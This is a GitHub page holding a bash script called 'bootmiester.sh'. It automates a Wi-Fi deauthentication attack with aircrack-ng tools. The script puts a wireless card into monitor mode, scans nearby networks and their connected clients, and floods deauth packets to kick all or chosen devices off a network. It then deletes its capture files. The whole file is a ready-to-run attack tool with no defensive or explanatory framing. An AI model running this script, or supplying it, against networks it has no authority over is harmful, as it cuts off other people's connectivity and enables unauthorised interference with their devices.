-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathbootmiester.sh
executable file
·188 lines (169 loc) · 6.1 KB
/
bootmiester.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#!/bin/bash
Black='\033[1;30m' # Black
Red='\033[1;31m' # Red
Green='\033[1;32m' # Green
Yellow='\033[1;33m' # Yellow
Blue='\033[1;34m' # Blue
Purple='\033[1;35m' # Purple
Cyan='\033[1;36m' # Cyan
White='\033[1;37m' # White
NC='\033[0m'
x=1;
lred='\033[0;31m'
white='\033[0;37m'
PROCESS="xterm"
root=$( id -u )
if [ $root != 0 ] ; then
echo -e "${Purple}[#] Run this Script as 'sudo'! "
sleep 2
exit
fi
clear
echo -e "\tBOOTMIESTER\n\tBy: Yashvendra Kashyap\n\thttps://github.com/Yashvendra/Bootmiester" | boxes -d cat -a c | lolcat
sleep 0.5
echo
#echo -e "\n${white}+-------------------------------------------------------------+"
#echo -e "+ The ${Green}BOOTMIESTER${white} welcomes you +"
#echo -e "${white}+-------------------------------------------------------------+${NC}"
echo -ne "${Blue}[#] Do you want to \e[0;37m(${Blue}p\e[0;37m)${Blue}roceed with the script or \e[0;37m(${Blue}q\e[0;37m)${Blue}quit \e[0;37m(${Blue}p/q\e[0;37m)${Blue}: \e[0;37m"
read op
if [[ "$op" = "p" ]]
then
echo -ne "${Blue}[#] Enter your wireless interface name: ${White}"
read interface
mkdir ~/Desktop/MACS
echo
echo -e "${Green}[*] Starting Monitor Mode on "${interface}" ${NC}"
sleep 2
airmon-ng check kill &>/dev/null && airmon-ng start ${interface} &>/dev/null
airodump-ng ${interface}mon -w ~/Desktop/wifi
clear
awk -F, '{OFS=",";print $1}' ~/Desktop/wifi-01.kismet.csv | awk -F';' '{print $4}' | sed '1d' > ~/Desktop/MACS/wifi.txt
awk -F, '{OFS=",";print $1}' ~/Desktop/wifi-01.kismet.csv | awk -F';' '{print $6}' | sed '1d' > ~/Desktop/MACS/channels.txt
echo -e "${Green}[*] WIFI's around you are: ${NC}"
cat ~/Desktop/MACS/wifi.txt | while read p
do
echo "$x: $p"
x=$(( $x + 1 ))
done
echo -ne "${Blue}[#] CHOOSE a WIFI: ${White}"
read choice
bssid=`sed "$choice!d" ~/Desktop/MACS/wifi.txt`
channel=`sed "$choice!d" ~/Desktop/MACS/channels.txt`
airodump-ng --bssid $bssid --channel $channel ${interface}mon -w ~/Desktop/devices
sed '1,5d' ~/Desktop/devices-01.csv | awk -F "\"*,\"*" '{print $1}' | sed '$d' > ~/Desktop/MACS/devices.txt
x=2
while [ $x -gt 1 ]
do
x=1
clear
echo -e "${Blue}+-------------------------------------------------------+"
echo -e "+\t${Green}Devices to be booted from ${Yellow}[${Purple}$bssid${Yellow}] ${Blue}+"
echo -e "${Blue}+-------------------------------------------------------+${NC}"
sleep 1
echo -e "${Blue}+ +${NC}"
cat ~/Desktop/MACS/devices.txt | while read p
do
echo -e "${Blue}+ ${White}$x.${Purple} $p ${Blue}+"
x=$(( $x + 1 ))
done
echo -e "${Blue}+-------------------------------------------------------+${NC}\n"
sleep 1
echo -e "${Green}[*] Press 1 if you want to boot the above devices.\n[*] Press 2 if you want to prevent a device to be booted.\n[*] Press 3 If you want to boot a particular device.${NC}"
echo
echo -ne "${Blue}[#] Enter your Choice: ${White}"
read ch
if [ $ch -eq 2 ]
then
sleep 1
echo -ne "${Blue}[#] Enter the Device's Address which should not be booted: ${White}"
read mac
sed -i "/$mac/d" ~/Desktop/MACS/devices.txt
sleep 1
x=2
elif [ $ch -eq 1 ]
then
echo -ne "${Blue}[#] Enter number of deauth packets to send: ${White}"
read packets
clear
sleep 1
a=100
echo -e "${Red}[*] BOOTING the devices${Yellow} NOW"
sleep 1
cat ~/Desktop/MACS/devices.txt | while read q
do
xterm +hold -geometry 91x31+"$a"+500 -e "aireplay-ng --deauth ${packets} -a $bssid -c $q ${interface}mon" &
a=$(( $a + 100 ))
done
x=1
while true
do
if pgrep -x "$PROCESS" >/dev/null
then
echo -n -e "${NC}."
sleep 2
continue
else
echo ""
echo -e "${Green}[*] Stopping Monitor mode on the interface...${NC}"
xterm +hold -geometry 91x31+700+500 -e "airmon-ng stop ${interface}mon && service network-manager restart"
sleep 2
echo -e "${Green}[*] Deleting the captured files..."
sleep 2
rm -rf ~/Desktop/devices-*
rm -rf ~/Desktop/wifi-*
rm -rf ~/Desktop/MACS
echo -e "${Green}[*] DONE."
break
fi
done
elif [ $ch -eq 3 ]
then
sleep 1
echo -ne "${Blue}[#] Enter the Device's Address which should be booted: ${White}"
read mac
echo -ne "${Blue}[#] Enter number of deauth packets to send: ${White}"
read packets
sleep 1
clear
echo -e "${Red}[*] BOOTING ${White}$mac ${Yellow}NOW"
sleep 1
xterm +hold -geometry 91x31+700+500 -e "aireplay-ng --deauth $packets -a $bssid -c $mac ${interface}mon" &
x=1
while true
do
if pgrep -x "$PROCESS" >/dev/null
then
echo -n -e "${NC}."
sleep 2
continue
else
echo ""
echo -e "${Green}[*] Stopping Monitor mode on the interface...${NC}"
xterm +hold -geometry 91x31+700+500 -e "airmon-ng stop ${interface}mon && service network-manager restart"
sleep 2
echo -e "${Green}[*] Deleting the captured files..."
sleep 2
rm -rf ~/Desktop/devices-*
rm -rf ~/Desktop/wifi-*
rm -rf ~/Desktop/MACS
echo -e "${Green}[*] DONE."
break
fi
done
else
echo -e "${Purple}[*] Wrong choice!"
sleep 0.3
x=2
fi
done
elif [[ "$op" = "q" ]]
then
echo -e "${Purple}[*] Byee! See you soon"
sleep 1
exit
else
echo -e "${Purple}[*] Wrong choice."
sleep 1
bootmiester
fi